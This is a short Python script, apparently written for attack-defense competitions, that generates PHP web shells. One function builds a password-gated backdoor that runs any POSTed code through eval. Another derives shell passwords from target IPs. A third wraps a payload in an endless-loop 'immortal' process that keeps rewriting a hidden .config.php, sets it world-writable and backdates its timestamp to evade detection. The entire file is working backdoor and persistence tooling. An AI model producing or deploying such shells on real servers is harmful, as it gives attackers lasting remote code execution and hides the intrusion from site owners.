# coding:utf-8
import sys;sys.path.append("..")
# from format import *
import base64
import hashlib

def ad_md5(s):
    # 创建md5对象
    hl = hashlib.md5()
    hl.update(s.encode(encoding='utf-8'))

    return hl.hexdigest()


def easy_shell(password):
    shell="""
<?php
    if(md5($_POST['pass'])=="{{md5_pass}}") eval($_POST['sc0de']);
?>
            
    """
    shell = shell.replace("{{md5_pass}}", ad_md5(password))
    return shell


def rand_shell_pass(ip):
    return ad_md5("sc0de"+ip+"5am3")


def forever_shell(shellcode):
    shell="""
    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    $file = '.config.php';
    $code = base64_decode('{{shellcode}}');
    while(true) {
        if(md5(file_get_contents($file))!==md5($code)) {
            file_put_contents($file, $code);
        }
        system('chmod 777 .config.php');
        touch(".config.php",mktime(20,15,1,11,28,2018));
        usleep(100);
    }
    ?>
    
    """
    return shell.replace("{{shellcode}}",base64.b64encode(shellcode))




# ip="172.20.116.101"
# print(easy_shell(rand_shell_pass(ip)))

# print(forever_shell(easy_shell(rand_shell_pass(ip))))



